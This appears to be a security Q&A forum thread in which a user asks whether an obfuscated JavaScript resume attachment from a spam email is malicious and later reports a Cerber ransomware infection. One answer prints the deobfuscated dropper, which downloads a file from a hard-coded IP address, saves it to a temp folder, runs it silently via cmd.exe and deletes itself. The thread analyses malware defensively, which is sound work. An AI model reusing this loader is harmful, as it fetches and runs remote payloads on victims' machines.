7

So I got a random email saying this. Looks very automated:

"How are things? I was visting your website on 4/9/2016 and I'm very interested. I'm currently looking for work either full time or as a intern to get experience in the field. Please review my Resume and let me know what you think.

Then a javascript file attached. I scanned it on VirusTotal finding only 1/55. I have opened the file to look at the text and have copy pasted it into this dump file as it is quite long.

Anyone familiar with javascript can confirm that it is a virus or not?

  • Well it's obviously spam. Unfortunately your dumptext.com link is blocking me and not letting me view the text. My educated guess would be that no, it is not a virus. The reasoning is that virustotal says that the detection is caused by heuristics. This means that it saw something suspicious such as obfuscation or encryption in the javascript. It did not see any signature of any known malware. – forest Apr 10 '16 at 6:34
  • Why is it blocking you from viewing it? Maybe this works: pastebin.com/tcW2MDtn Also, if it isn't a virus. What is the purpose of sending this? – 2000mroliver Apr 10 '16 at 6:38
  • Well, it's clearly obfuscated javascript. That explains what set off the AV. I don't know how to de-obfuscate it, but I'll look it up, unless someone beats me to it. bpaste.net/show/386b9e13d84f is a reposted colored version which I find easier to read btw. – forest Apr 10 '16 at 6:43
  • Line 331 is "var asupcI = new ActiveXObject(yLoJo);". This means it calls ActiveX. Because of this, I would say this malicious, without a doubt. Unless of course, ActiveXObject itself is obfuscated to do something else. But it certainly seems suspicious. reverseengineering.stackexchange.com/questions/4561/… may help more, as well. – forest Apr 10 '16 at 6:49
  • Some more information about the code: The function MEDvBC will always return true. The first ActiveX object is MSXML2.XMLHTTP, the second is Scripting.FileSystemObject, and the third is ADODB.Stream. I got this information with help from someone on IRC, so credit goes to them (JS is not my strong suite). While this doesn't point to exactly what it does, it should hopefully help. You may also have more luck over at the reverse engineering stack exchange, if you fail to get enough support here, btw. – forest Apr 10 '16 at 6:56
8

It most certainly is malware. It uses ActiveX to open up a shell with cmd.exe. This is the deobfuscated version:

function zQlMdib() {
    var asupcI = new ActiveXObject("MSXML2.XMLHTTP");
    asupcI['open']("GET", "http://94.102.63.7/macbook_tutorial.mov", false);
    var OnvPPuGD = WScript['ScriptFullName'];
    asupcI['send']();
    if (asupcI['Status'] == 200) {
        var Bz = new ActiveXObject("Scripting.FileSystemObject");
        var mEadcyX = new ActiveXObject("ADODB.Stream");
        var zpfPsOb = Bz['GetSpecialFolder'](2) + '\' + Bz['GetTempName']();
        mEadcyX['Open']();
        mEadcyX['Type'] = 1;
        var oMod = new ActiveXObject("WScript.Shell");
        mEadcyX['Write'](asupcI['ResponseBody']);
        mEadcyX['Position'] = 0;
        mEadcyX['SaveToFile'](zpfPsOb);
        mEadcyX['Close']();
        oMod['run']('cmd.exe /c ' + zpfPsOb, 0);
    }
    Bz['deleteFile'](OnvPPuGD);
}

Here is the analysis of the payload on Malwr:

https://malwr.com/analysis/MGI0ZGIwNjNjMjlhNGM0YWE1ZTA5ZDgyYmNiZjRmMjE/

  • I figured out that I got infected with the Cerber virus. Here is a link explaining what it is: virusresearch.org/remove-cerber-decrypt-files-ransomware – 2000mroliver Apr 10 '16 at 7:20
  • I got three files "#DECRYPT MY FILES#.txt, #DECRYPT MY FILES#.html and #DECRYPT MY FILES#.vbs." in every folder of my computer. – 2000mroliver Apr 10 '16 at 7:21
  • Honestly, I think that infection is unrelated. Not only does your browser not support ActiveX, which is required for that exploit to work, but the payload itself has nothing to do with the Cerber virus. – forest Apr 10 '16 at 7:55
  • the infection is 100% related IMO. The cerber virus is typically sent from spam messages, especially from russian forums. The email had a .ru extension. This happened immediately after the openning of the javascript. Additionally cerber virus is inserted using Internet Explorer. I'm 100% certain that it is related. I'll just make a clean new install of windows as everything is encrypted. – 2000mroliver Apr 10 '16 at 9:16
  • 1
    @forest he could've downloaded the .js file and accidentally double-clicked it which would open it in Windows Script Host, which is not sandboxed and has ActiveX. – André Borie Apr 10 '16 at 15:31
1

Yes, It looks like a malicious code. This type of code is not allowed in the context of browsers. Moreover, the code is more or less, compatible with Microsoft Internet Explorer and Microsoft Windows Operating System, as other browsers doesn't support ActiveX technology of Microsoft.

protected by Community Jul 4 at 10:35

Thank you for your interest in this question. Because it has attracted low-quality or spam answers that had to be removed, posting an answer now requires 10 reputation on this site (the association bonus does not count).

Would you like to answer one of these unanswered questions instead?

Not the answer you're looking for? Browse other questions tagged or ask your own question.